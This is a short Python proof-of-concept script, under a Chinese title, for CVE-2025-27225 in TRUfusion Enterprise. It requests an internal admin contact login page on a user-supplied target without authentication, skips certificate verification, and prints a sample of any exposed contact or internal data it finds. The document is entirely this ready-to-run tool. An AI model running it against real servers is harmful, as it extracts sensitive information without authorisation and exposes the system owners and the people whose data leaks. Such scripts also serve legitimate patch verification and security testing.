CVE-2025-27225 TRUfusion Enterprise 未授权访问敏感信息漏洞

# CVE-2025-27225 PoC - TRUfusion Enterprise Unauthenticated Access # Target: TRUfusion Enterprise <= 7.10.4.0 # Vulnerability: Unauthenticated access to internal admin contact login endpoint import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-27225 """ # Vulnerable endpoint path vulnerable_endpoint = "/trufusionPortal/jsp/internal_admin_contact_login.jsp" # Construct full URL url = target_url.rstrip('/') + vulnerable_endpoint print(f"[*] Testing target: {url}") try: # Send GET request without any authentication response = requests.get(url, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") # Check if endpoint is accessible and contains sensitive information if response.status_code == 200: # Check for indicators of sensitive data exposure sensitive_keywords = ['admin', 'contact', 'email', 'phone', 'internal'] response_lower = response.text.lower() if any(keyword in response_lower for keyword in sensitive_keywords): print("[!] VULNERABLE: Endpoint is accessible without authentication") print(f"[!] Response length: {len(response.text)} bytes") print("\n[!] Sample response content:") print(response.text[:500]) return True else: print("[*] Endpoint accessible but content unclear") return None elif response.status_code == 401 or response.status_code == 403: print("[+] NOT VULNERABLE: Endpoint requires authentication") return False else: print(f"[*] Unexpected status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-27225.py <target_url>") print("Example: python cve-2025-27225.py https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)